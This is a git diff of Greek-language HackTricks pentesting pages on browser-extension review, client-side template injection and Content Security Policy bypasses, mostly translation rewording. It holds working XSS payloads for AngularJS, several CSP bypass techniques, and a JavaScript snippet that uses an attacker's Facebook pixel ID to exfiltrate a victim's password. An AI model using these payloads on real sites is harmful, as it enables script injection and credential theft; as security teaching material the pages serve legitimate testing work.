- [ ] Αν αναφέρεται εδώ **URL ευάλωτο σε XSS ή σε κατάληψη**, ένας επιτιθέμενος θα μπορεί να **στέλνει μηνύματα στα background scripts απευθείας**. Πολύ ισχυρή παράκαμψη.
-- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τους **`web_accessible_resources`**, ακόμα και κενά αν είναι δυνατόν.
+- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τους **`web_accessible_resources`**, ακόμα και κενό αν είναι δυνατόν.
- [ ] Αν οι **`web_accessible_resources`** δεν είναι κανένα, ελέγξτε για [**ClickJacking**](browext-clickjacking.md)
-- [ ] Αν υπάρχει οποιαδήποτε **επικοινωνία** από την **επέκταση** προς την **ιστοσελίδα**, [**ελέγξτε για XSS**](browext-xss-example.md) **ευπάθειες** που προκαλούνται στην επικοινωνία.
-- [ ] Αν χρησιμοποιούνται Post Messages, ελέγξτε για [**Post Message ευπάθειες**](../postmessage-vulnerabilities/)**.**
-- [ ] Αν το **Content Script έχει πρόσβαση σε λεπτομέρειες DOM**, ελέγξτε ότι **δεν εισάγουν XSS** αν τροποποιηθούν από τον ιστό
+- [ ] Αν οποιαδήποτε **επικοινωνία** συμβαίνει από την **επέκταση** προς την **ιστοσελίδα**, [**ελέγξτε για XSS**](browext-xss-example.md) **ευπάθειες** που προκαλούνται στην επικοινωνία.
+- [ ] Αν χρησιμοποιούνται Post Messages, ελέγξτε για [**Post Message ευπάθειες**](../postmessage-vulnerabilities/index.html)**.**
+- [ ] Αν το **Content Script έχει πρόσβαση σε λεπτομέρειες DOM**, ελέγξτε ότι **δεν εισάγουν XSS** αν **τροποποιηθούν** από τον ιστό
- [ ] Δώστε ιδιαίτερη έμφαση αν αυτή η επικοινωνία εμπλέκεται επίσης στην **επικοινωνία Content Script -> Background script**
- [ ] Αν το background script επικοινωνεί μέσω **native messaging**, ελέγξτε ότι η επικοινωνία είναι ασφαλής και καθαρισμένη
- [ ] **Ευαίσθητες πληροφορίες δεν θα πρέπει να αποθηκεύονται** μέσα στον κώδικα της Επέκτασης Περιηγητή
@@ -666,11 +666,11 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
- Τραβά οποιαδήποτε επέκταση Chrome από έναν παρεχόμενο σύνδεσμο του Chrome webstore.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: απλά εμφανίζει μια JSON-μορφοποιημένη έκδοση του manifest της επέκτασης.
-- **Ανάλυση Δακτυλικών Αποτυπωμάτων**: Ανίχνευση [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) και αυτόματη δημιουργία JavaScript δακτυλικών αποτυπωμάτων για επεκτάσεις Chrome.
+- **Ανάλυση Δακτυλικών Αποτυπωμάτων**: Ανίχνευση των [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) και αυτόματη δημιουργία JavaScript δακτυλικών αποτυπωμάτων για επεκτάσεις Chrome.
- **Πιθανή Ανάλυση Clickjacking**: Ανίχνευση HTML σελίδων επεκτάσεων με τη ρύθμιση [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Αυτές είναι πιθανώς ευάλωτες σε clickjacking ανάλογα με τον σκοπό των σελίδων.
-- **Viewer προειδοποιήσεων άδειας**: που δείχνει μια λίστα με όλες τις προειδοποιήσεις άδειας του Chrome που θα εμφανιστούν όταν ένας χρήστης προσπαθήσει να εγκαταστήσει την επέκταση.
-- **Επικίνδυνες Λειτουργίες**: δείχνει την τοποθεσία επικίνδυνων λειτουργιών που θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο (π.χ. λειτουργίες όπως innerHTML, chrome.tabs.executeScript).
-- **Σημεία Εισόδου**: δείχνει πού η επέκταση δέχεται είσοδο από χρήστη/εξωτερική είσοδο. Αυτό είναι χρήσιμο για την κατανόηση της επιφάνειας της επέκτασης και την αναζήτηση πιθανών σημείων για αποστολή κακόβουλα κατασκευασμένων δεδομένων στην επέκταση.
+- **Viewer προειδοποιήσεων άδειας**: που δείχνει μια λίστα με όλες τις προειδοποιήσεις άδειας Chrome που θα εμφανιστούν όταν ένας χρήστης προσπαθήσει να εγκαταστήσει την επέκταση.
+- **Επικίνδυνες Λειτουργίες**: δείχνει την τοποθεσία επικίνδυνων λειτουργιών που θα μπορούσαν ενδεχομένως να εκμεταλλευτούν από έναν επιτιθέμενο (π.χ. λειτουργίες όπως innerHTML, chrome.tabs.executeScript).
+- **Σημεία Εισόδου**: δείχνει πού η επέκταση δέχεται είσοδο από χρήστη/εξωτερική είσοδο. Αυτό είναι χρήσιμο για την κατανόηση της επιφάνειας της επέκτασης και την αναζήτηση πιθανών σημείων για αποστολή κακόβουλα διαμορφωμένων δεδομένων στην επέκταση.
- Και οι σαρωτές Επικίνδυνων Λειτουργιών και Σημείων Εισόδου έχουν τα εξής για τις παραγόμενες ειδοποιήσεις τους:
- Σχετικό απόσπασμα κώδικα και γραμμή που προκάλεσε την ειδοποίηση.
- Περιγραφή του ζητήματος.
@@ -679,17 +679,17 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
- Η πλήρης URI της ειδοποιημένης επέκτασης Chrome.
- Ο τύπος του αρχείου, όπως ένα script Background Page, Content Script, Browser Action, κ.λπ.
- Αν η ευάλωτη γραμμή είναι σε ένα αρχείο JavaScript, οι διαδρομές όλων των σελίδων όπου περιλαμβάνεται καθώς και ο τύπος αυτών των σελίδων, και η κατάσταση [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
-- **Αναλυτής Πολιτικής Ασφαλείας Περιεχομένου (CSP) και ελεγκτής παράκαμψης**: Αυτό θα επισημάνει αδυναμίες στην CSP της επέκτασής σας και θα φωτίσει τυχόν πιθανές μεθόδους για να παρακαμφθεί η CSP σας λόγω λευκωμένων CDNs, κ.λπ.
+- **Αναλυτής Πολιτικής Ασφαλείας Περιεχομένου (CSP) και ελεγκτής παράκαμψης**: Αυτό θα επισημάνει αδυναμίες στην CSP της επέκτασής σας και θα φωτίσει επίσης τυχόν πιθανούς τρόπους για να παρακάμψετε την CSP σας λόγω λευκωμένων CDNs, κ.λπ.
- **Γνωστές Ευάλωτες Βιβλιοθήκες**: Αυτό χρησιμοποιεί [Retire.js](https://retirejs.github.io/retire.js/) για να ελέγξει για οποιαδήποτε χρήση γνωστών ευάλωτων βιβλιοθηκών JavaScript.
- Κατεβάστε την επέκταση και μορφοποιημένες εκδόσεις.
- Κατεβάστε την αρχική επέκταση.
-- Κατεβάστε μια όμορφα μορφοποιημένη έκδοση της επέκτασης (αυτόματη μορφοποίηση HTML και JavaScript).
-- Αυτόματη αποθήκευση αποτελεσμάτων σάρωσης, η εκτέλεση σάρωσης επέκτασης θα διαρκέσει αρκετό χρόνο την πρώτη φορά που θα την εκτελέσετε. Ωστόσο, τη δεύτερη φορά, εφόσον η επέκταση δεν έχει ενημερωθεί, θα είναι σχεδόν άμεση λόγω της αποθήκευσης των αποτελεσμάτων.
+- Κατεβάστε μια όμορφα διαμορφωμένη έκδοση της επέκτασης (αυτόματη μορφοποίηση HTML και JavaScript).
+- Αυτόματη αποθήκευση των αποτελεσμάτων σάρωσης, η εκτέλεση μιας σάρωσης επέκτασης θα διαρκέσει αρκετό χρόνο την πρώτη φορά που θα την εκτελέσετε. Ωστόσο, τη δεύτερη φορά, εφόσον η επέκταση δεν έχει ενημερωθεί, θα είναι σχεδόν άμεση λόγω της αποθήκευσης των αποτελεσμάτων.
- Συνδέσιμες αναφορές URL, εύκολα συνδέστε κάποιον άλλο σε μια αναφορά επέκτασης που δημιουργήθηκε από το tarnish.
### [Neto](https://github.com/elevenpaths/neto)
-Το έργο Neto είναι ένα πακέτο Python 3 που έχει σχεδιαστεί για να αναλύει και να αποκαλύπτει κρυφές δυνατότητες των πρόσθετων και επεκτάσεων περιηγητών για γνωστούς περιηγητές όπως ο Firefox και ο Chrome. Αυτοματοποιεί τη διαδικασία αποσυμπίεσης των πακεταρισμένων αρχείων για να εξάγει αυτές τις δυνατότητες από σχετικούς πόρους σε μια επέκταση όπως το `manifest.json`, φακέλους τοπικοποίησης ή πηγές JavaScript και HTML.
+Το Project Neto είναι ένα πακέτο Python 3 που έχει σχεδιαστεί για να αναλύει και να αποκαλύπτει κρυφές δυνατότητες των πρόσθετων και επεκτάσεων περιηγητών για γνωστούς περιηγητές όπως ο Firefox και ο Chrome. Αυτοματοποιεί τη διαδικασία αποσυμπίεσης των πακεταρισμένων αρχείων για να εξάγει αυτές τις δυνατότητες από σχετικούς πόρους σε μια επέκταση όπως το `manifest.json`, φακέλους τοπιογραφίας ή πηγές JavaScript και HTML.
## Αναφορές
diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md
index 314b8f828..79e8f88d8 100644
--- a/src/pentesting-web/client-side-template-injection-csti.md
+++ b/src/pentesting-web/client-side-template-injection-csti.md
@@ -4,15 +4,15 @@
## Summary
-Είναι όπως ένα [**Server Side Template Injection**](ssti-server-side-template-injection/) αλλά στον **client**. Το **SSTI** μπορεί να σας επιτρέψει να **εκτελέσετε κώδικα** στον απομακρυσμένο διακομιστή, το **CSTI** θα μπορούσε να σας επιτρέψει να **εκτελέσετε αυθαίρετο JavaScript** κώδικα στον περιηγητή του θύματος.
+Είναι όπως ένα [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) αλλά στον **πελάτη**. Το **SSTI** μπορεί να σας επιτρέψει να **εκτελέσετε κώδικα** στον απομακρυσμένο διακομιστή, το **CSTI** θα μπορούσε να σας επιτρέψει να **εκτελέσετε αυθαίρετο JavaScript** κώδικα στον περιηγητή του θύματος.
**Η δοκιμή** για αυτήν την ευπάθεια είναι πολύ **παρόμοια** με την περίπτωση του **SSTI**, ο διερμηνέας αναμένει **ένα πρότυπο** και θα το εκτελέσει. Για παράδειγμα, με ένα payload όπως `{{ 7-7 }}`, αν η εφαρμογή είναι **ευάλωτη** θα δείτε ένα `0`, και αν όχι, θα δείτε το αρχικό: `{{ 7-7 }}`
## AngularJS
-Το AngularJS είναι ένα ευρέως χρησιμοποιούμενο JavaScript framework που αλληλεπιδρά με το HTML μέσω χαρακτηριστικών που είναι γνωστά ως directives, ένα αξιοσημείωτο είναι το **`ng-app`**. Αυτή η οδηγία επιτρέπει στο AngularJS να επεξεργάζεται το περιεχόμενο HTML, επιτρέποντας την εκτέλεση JavaScript εκφράσεων μέσα σε διπλές αγκύλες.
+Το AngularJS είναι ένα ευρέως χρησιμοποιούμενο πλαίσιο JavaScript που αλληλεπιδρά με το HTML μέσω χαρακτηριστικών που είναι γνωστά ως οδηγίες, μία από τις οποίες είναι το **`ng-app`**. Αυτή η οδηγία επιτρέπει στο AngularJS να επεξεργάζεται το περιεχόμενο HTML, επιτρέποντας την εκτέλεση JavaScript εκφράσεων μέσα σε διπλές αγκύλες.
-Σε σενάρια όπου η είσοδος του χρήστη εισάγεται δυναμικά στο σώμα HTML που έχει επισημανθεί με `ng-app`, είναι δυνατόν να εκτελεστεί αυθαίρετος JavaScript κώδικας. Αυτό μπορεί να επιτευχθεί εκμεταλλευόμενοι τη σύνταξη του AngularJS μέσα στην είσοδο. Παρακάτω παρατίθενται παραδείγματα που δείχνουν πώς μπορεί να εκτελεστεί JavaScript κώδικας:
+Σε σενάρια όπου η είσοδος του χρήστη εισάγεται δυναμικά στο σώμα HTML που έχει επισημανθεί με `ng-app`, είναι δυνατόν να εκτελούνται αυθαίρετοι JavaScript κώδικες. Αυτό μπορεί να επιτευχθεί εκμεταλλευόμενοι τη σύνταξη του AngularJS μέσα στην είσοδο. Παρακάτω παρατίθενται παραδείγματα που δείχνουν πώς μπορεί να εκτελείται JavaScript κώδικας:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
@@ -21,9 +21,9 @@
```
-Μπορείτε να βρείτε ένα πολύ **βασικό διαδικτυακό παράδειγμα** της ευπάθειας σε **AngularJS** στο [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) και στην [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
+Μπορείτε να βρείτε ένα πολύ **βασικό διαδικτυακό παράδειγμα** της ευπάθειας στο **AngularJS** στο [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) και στο [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
-> [!CAUTION] > [**Η Angular 1.6 αφαίρεσε το sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) οπότε από αυτή την έκδοση, ένα payload όπως `{{constructor.constructor('alert(1)')()}}` ή `` θα πρέπει να λειτουργεί.
+> [!CAUTION] > [**Angular 1.6 αφαίρεσε το sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) οπότε από αυτή την έκδοση, ένα payload όπως `{{constructor.constructor('alert(1)')()}}` ή `` θα πρέπει να λειτουργεί.
## VueJS
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md
index 477bf3b83..1f8f26ee1 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -1,18 +1,18 @@
-# Πολιτική Ασφαλείας Περιεχομένου (CSP) Bypass
+# Content Security Policy (CSP) Bypass
{{#include ../../banners/hacktricks-training.md}}
## Τι είναι το CSP
-Η Πολιτική Ασφαλείας Περιεχομένου (CSP) αναγνωρίζεται ως τεχνολογία του προγράμματος περιήγησης, κυρίως με στόχο την **προστασία από επιθέσεις όπως το cross-site scripting (XSS)**. Λειτουργεί καθορίζοντας και περιγράφοντας διαδρομές και πηγές από τις οποίες οι πόροι μπορούν να φορτωθούν με ασφάλεια από το πρόγραμμα περιήγησης. Αυτοί οι πόροι περιλαμβάνουν μια σειρά στοιχείων όπως εικόνες, πλαίσια και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέπει τη φόρτωση και εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων των inline πόρων και της εκτέλεσης κώδικα συμβολοσειράς μέσω συναρτήσεων όπως `eval`, `setTimeout` ή `setInterval`.
+Η Πολιτική Ασφαλείας Περιεχομένου (CSP) αναγνωρίζεται ως τεχνολογία του προγράμματος περιήγησης, κυρίως με στόχο την **προστασία από επιθέσεις όπως η διασταυρούμενη σcripting (XSS)**. Λειτουργεί καθορίζοντας και περιγράφοντας διαδρομές και πηγές από τις οποίες οι πόροι μπορούν να φορτωθούν με ασφάλεια από το πρόγραμμα περιήγησης. Αυτοί οι πόροι περιλαμβάνουν μια σειρά στοιχείων όπως εικόνες, πλαίσια και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέπει τη φόρτωση και εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων των inline πόρων και της εκτέλεσης κώδικα συμβολοσειρών μέσω συναρτήσεων όπως `eval`, `setTimeout` ή `setInterval`.
Η εφαρμογή του CSP πραγματοποιείται μέσω **κεφαλίδων απόκρισης** ή με την ενσωμάτωση **meta στοιχείων στη σελίδα HTML**. Ακολουθώντας αυτή την πολιτική, τα προγράμματα περιήγησης επιβάλλουν ενεργά αυτούς τους όρους και μπλοκάρουν αμέσως οποιεσδήποτε ανιχνευμένες παραβάσεις.
-- Εφαρμόζεται μέσω κεφαλίδας απόκρισης:
+- Implemented via response header:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
-- Υλοποιήθηκε μέσω του meta tag:
+- Υλοποιήθηκε μέσω του μετα-ετικέτας:
```xml
```
@@ -40,7 +40,7 @@ object-src 'none';
### Οδηγίες
- **script-src**: Επιτρέπει συγκεκριμένες πηγές για JavaScript, συμπεριλαμβανομένων των URLs, inline scripts και scripts που ενεργοποιούνται από event handlers ή XSLT stylesheets.
-- **default-src**: Ορίζει μια προεπιλεγμένη πολιτική για την ανάκτηση πόρων όταν απουσιάζουν συγκεκριμένες οδηγίες ανάκτησης.
+- **default-src**: Ορίζει μια προεπιλεγμένη πολιτική για την ανάκτηση πόρων όταν απουσιάζουν συγκεκριμένες οδηγίες fetch.
- **child-src**: Προσδιορίζει τις επιτρεπόμενες πηγές για web workers και περιεχόμενο ενσωματωμένων πλαισίων.
- **connect-src**: Περιορίζει τα URLs που μπορούν να φορτωθούν χρησιμοποιώντας διεπαφές όπως fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Περιορίζει τα URLs για πλαίσια.
@@ -48,22 +48,22 @@ object-src 'none';
- **img-src**: Ορίζει τις επιτρεπόμενες πηγές για εικόνες.
- **font-src**: Προσδιορίζει έγκυρες πηγές για γραμματοσειρές που φορτώνονται χρησιμοποιώντας `@font-face`.
- **manifest-src**: Ορίζει τις επιτρεπόμενες πηγές αρχείων manifest εφαρμογής.
-- **media-src**: Ορίζει τις επιτρεπόμενες πηγές για τη φόρτωση αντικειμένων πολυμέσων.
+- **media-src**: Ορίζει τις επιτρεπόμενες πηγές για τη φόρτωση μέσων.
- **object-src**: Ορίζει τις επιτρεπόμενες πηγές για στοιχεία `
-- `'sha256-'`: Λευκή λίστα σεναρίων με συγκεκριμένο sha256 hash.
-- `'strict-dynamic'`: Επιτρέπει τη φόρτωση σεναρίων από οποιαδήποτε πηγή αν έχει λευκή λίστα με nonce ή hash.
+- `'sha256-'`: Λευκή λίστα scripts με συγκεκριμένο sha256 hash.
+- `'strict-dynamic'`: Επιτρέπει τη φόρτωση scripts από οποιαδήποτε πηγή αν έχει λευκαστεί με nonce ή hash.
- `'host'`: Προσδιορίζει μια συγκεκριμένη πηγή, όπως το `example.com`.
-- `https:`: Περιορίζει τις διευθύνσεις URL σε αυτές που χρησιμοποιούν HTTPS.
+- `https:`: Περιορίζει τα URLs σε αυτά που χρησιμοποιούν HTTPS.
- `blob:`: Επιτρέπει τη φόρτωση πόρων από Blob URLs (π.χ., Blob URLs που δημιουργούνται μέσω JavaScript).
-- `filesystem:`: Επιτρέπει τη φόρτωση πόρων από το σύστημα αρχείων.
+- `filesystem:`: Επιτρέπει τη φόρτωση πόρων από το filesystem.
- `'report-sample'`: Συμπεριλαμβάνει ένα δείγμα του παραβιασμένου κώδικα στην αναφορά παραβίασης (χρήσιμο για αποσφαλμάτωση).
- `'strict-origin'`: Παρόμοιο με το 'self' αλλά διασφαλίζει ότι το επίπεδο ασφαλείας του πρωτοκόλλου των πηγών ταιριάζει με το έγγραφο (μόνο ασφαλείς πηγές μπορούν να φορτώσουν πόρους από ασφαλείς πηγές).
-- `'strict-origin-when-cross-origin'`: Στέλνει πλήρεις διευθύνσεις URL κατά την εκτέλεση αιτημάτων ίδιας προέλευσης αλλά στέλνει μόνο την προέλευση όταν το αίτημα είναι διασυνοριακό.
+- `'strict-origin-when-cross-origin'`: Στέλνει πλήρη URLs κατά την εκτέλεση αιτημάτων ίδιας προέλευσης αλλά στέλνει μόνο την προέλευση όταν το αίτημα είναι διασυνοριακό.
- `'unsafe-allow-redirects'`: Επιτρέπει τη φόρτωση πόρων που θα ανακατευθύνουν αμέσως σε άλλο πόρο. Δεν συνιστάται καθώς αποδυναμώνει την ασφάλεια.
## Unsafe CSP Rules
@@ -105,7 +105,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
-Λειτουργικό payload: `"/>`
+Working payload: `"/>`
#### self + 'unsafe-inline' μέσω Iframes
@@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
### strict-dynamic
-Αν μπορείτε με κάποιον τρόπο να κάνετε ένα **επιτρεπόμενο JS code να δημιουργήσει μια νέα ετικέτα script** στο DOM με τον κώδικα JS σας, επειδή μια επιτρεπόμενη script την δημιουργεί, η **νέα ετικέτα script θα επιτρέπεται να εκτελείται**.
+Αν μπορείτε με κάποιο τρόπο να κάνετε έναν **επιτρεπόμενο κώδικα JS να δημιουργήσει μια νέα ετικέτα script** στο DOM με τον κώδικά σας JS, επειδή μια επιτρεπόμενη script την δημιουργεί, η **νέα ετικέτα script θα επιτρέπεται να εκτελείται**.
### Wildcard (*)
```yaml
@@ -161,9 +161,9 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Ωστόσο, είναι πολύ πιθανό ότι ο διακομιστής **επικυρώνει το ανεβασμένο αρχείο** και θα επιτρέψει μόνο να **ανεβάσετε καθορισμένο τύπο αρχείων**.
-Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε έναν **κωδικό JS μέσα** σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: _script.png_), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache **επιλέγουν τον MIME τύπο του αρχείου με βάση την επέκταση** και οι περιηγητές όπως ο Chrome θα **απορρίψουν την εκτέλεση του κώδικα Javascript** μέσα σε κάτι που θα έπρεπε να είναι εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την σερβίρει με έναν **MIME τύπο όπως audio/\***.
+Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε έναν **κωδικό JS μέσα** σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: _script.png_), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache **επιλέγουν τον τύπο MIME του αρχείου με βάση την επέκταση** και οι περιηγητές όπως ο Chrome θα **απορρίψουν την εκτέλεση του κώδικα Javascript** μέσα σε κάτι που θα έπρεπε να είναι εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την σερβίρει με έναν **τύπο MIME όπως audio/\***.
-Από εδώ, αν βρείτε ένα XSS και μια δυνατότητα ανεβάσματος αρχείου, και καταφέρετε να βρείτε μια **παρερμηνευμένη επέκταση**, θα μπορούσατε να προσπαθήσετε να ανεβάσετε ένα αρχείο με αυτή την επέκταση και το περιεχόμενο του script. Ή, αν ο διακομιστής ελέγχει τη σωστή μορφή του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot ([μερικά παραδείγματα polyglot εδώ](https://github.com/Polydet/polyglot-database)).
+Από εδώ, αν βρείτε ένα XSS και μια δυνατότητα ανέβασμα αρχείου, και καταφέρετε να βρείτε μια **παρερμηνευμένη επέκταση**, θα μπορούσατε να προσπαθήσετε να ανεβάσετε ένα αρχείο με αυτή την επέκταση και το περιεχόμενο του script. Ή, αν ο διακομιστής ελέγχει τη σωστή μορφή του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot ([μερικά παραδείγματα polyglot εδώ](https://github.com/Polydet/polyglot-database)).
### Form-action
@@ -232,7 +232,7 @@ Angular XSS από ένα όνομα κλάσης:
```
#### Κατάχρηση του κώδικα JS του google recaptcha
-Σύμφωνα με [**αυτή την αναφορά CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), μπορείτε να καταχραστείτε [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) μέσα σε μια CSP για να εκτελέσετε αυθαίρετο κώδικα JS παρακάμπτοντας την CSP:
+Σύμφωνα με [**αυτή την αναφορά CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), μπορείτε να καταχραστείτε [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) μέσα σε ένα CSP για να εκτελέσετε αυθαίρετο κώδικα JS παρακάμπτοντας το CSP:
```html
Basic" και αποκτήστε το "App ID" σας.
-4. Στον στόχο ιστότοπο από τον οποίο θέλετε να εξάγετε δεδομένα, μπορείτε να εξάγετε δεδομένα χρησιμοποιώντας απευθείας την συσκευή Facebook SDK "fbq" μέσω ενός "customEvent" και του payload δεδομένων.
+4. Στον στόχο ιστότοπο από τον οποίο θέλετε να εξάγετε δεδομένα, μπορείτε να εξάγετε δεδομένα χρησιμοποιώντας απευθείας τη συσκευή SDK του Facebook "fbq" μέσω ενός "customEvent" και του payload δεδομένων.
5. Μεταβείτε στο "Event Manager" της εφαρμογής σας και επιλέξτε την εφαρμογή που δημιουργήσατε (σημειώστε ότι ο διαχειριστής εκδηλώσεων μπορεί να βρεθεί σε μια διεύθυνση URL παρόμοια με αυτή: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
-6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "ιστότοπό σας".
+6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "δικό σας" ιστότοπο.
-Στη συνέχεια, από την πλευρά του θύματος, εκτελείτε τον παρακάτω κώδικα για να αρχικοποιήσετε το Facebook tracking pixel ώστε να δείχνει στο app-id του λογαριασμού προγραμματιστή του επιτιθέμενου και να εκδώσετε μια προσαρμοσμένη εκδήλωση όπως αυτή:
+Στη συνέχεια, από την πλευρά του θύματος, εκτελείτε τον παρακάτω κώδικα για να αρχικοποιήσετε το pixel παρακολούθησης του Facebook ώστε να δείχνει στο app-id του λογαριασμού προγραμματιστή του επιτιθέμενου και να εκδώσετε μια προσαρμοσμένη εκδήλωση όπως αυτή:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
-Όσον αφορά τα άλλα επτά τρίτα μέρη που αναφέρονται στον προηγούμενο πίνακα, υπάρχουν πολλοί άλλοι τρόποι που μπορείτε να τα εκμεταλλευτείτε. Ανατρέξτε στην προηγούμενη [ανάρτηση στο blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) για επιπλέον εξηγήσεις σχετικά με άλλες καταχρήσεις τρίτων.
+Όσον αφορά τους άλλους επτά τρίτους τομείς που αναφέρονται στον προηγούμενο πίνακα, υπάρχουν πολλοί άλλοι τρόποι που μπορείτε να τους εκμεταλλευτείτε. Ανατρέξτε στην προηγούμενη [ανάρτηση στο blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) για επιπλέον εξηγήσεις σχετικά με άλλες καταχρήσεις τρίτων.
### Bypass via RPO (Relative Path Overwrite)
@@ -341,7 +341,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
```
Ο περιηγητής θα φορτώσει τελικά `https://example.com/scripts/angular/angular.js`.
-Αυτό λειτουργεί επειδή για τον περιηγητή, φορτώνετε ένα αρχείο με όνομα `..%2fangular%2fangular.js` που βρίσκεται κάτω από `https://example.com/scripts/react/`, το οποίο είναι συμβατό με το CSP.
+Αυτό λειτουργεί επειδή για τον περιηγητή, φορτώνετε ένα αρχείο με όνομα `..%2fangular%2fangular.js` που βρίσκεται κάτω από το `https://example.com/scripts/react/`, το οποίο είναι συμβατό με το CSP.
∑, θα το αποκωδικοποιήσουν, ζητώντας ουσιαστικά `https://example.com/scripts/react/../angular/angular.js`, το οποίο είναι ισοδύναμο με `https://example.com/scripts/angular/angular.js`.
@@ -359,7 +359,7 @@ Online Παράδειγμα:[ ](https://jsbin.com/werevijewa/edit?html,output)[h
### απουσία **base-uri**
-Εάν η οδηγία **base-uri** λείπει, μπορείτε να την εκμεταλλευτείτε για να εκτελέσετε μια [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
+Εάν η οδηγία **base-uri** λείπει, μπορείτε να την εκμεταλλευτείτε για να εκτελέσετε μια [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Επιπλέον, εάν η **σελίδα φορτώνει ένα σενάριο χρησιμοποιώντας μια σχετική διαδρομή** (όπως `
```
-### Μέσω Bookmarklets
+### Via Bookmarklets
-Αυτή η επίθεση θα περιλάμβανε κάποια κοινωνική μηχανική όπου ο επιτιθέμενος **πείθει τον χρήστη να σύρει και να αποθέσει έναν σύνδεσμο πάνω στο bookmarklet του προγράμματος περιήγησης**. Αυτό το bookmarklet θα περιείχε **κακόβουλο javascript** κώδικα που όταν σύρεται και αποτίθεται ή κάνετε κλικ θα εκτελείται στο πλαίσιο του τρέχοντος διαδικτυακού παραθύρου, **παρακάμπτοντας το CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών** όπως cookies ή tokens.
+Αυτή η επίθεση θα περιλάμβανε κάποια κοινωνική μηχανική όπου ο επιτιθέμενος **πείθει τον χρήστη να σύρει και να ρίξει έναν σύνδεσμο πάνω στο bookmarklet του προγράμματος περιήγησης**. Αυτό το bookmarklet θα περιείχε **κακόβουλο javascript** κώδικα που όταν σύρεται και ρίχνεται ή κάνετε κλικ θα εκτελείται στο πλαίσιο του τρέχοντος παραθύρου ιστού, **παρακάμπτοντας το CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών** όπως cookies ή tokens.
Για περισσότερες πληροφορίες [**ελέγξτε την αρχική αναφορά εδώ**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
-### Παράκαμψη CSP περιορίζοντας το CSP
+### CSP bypass by restricting CSP
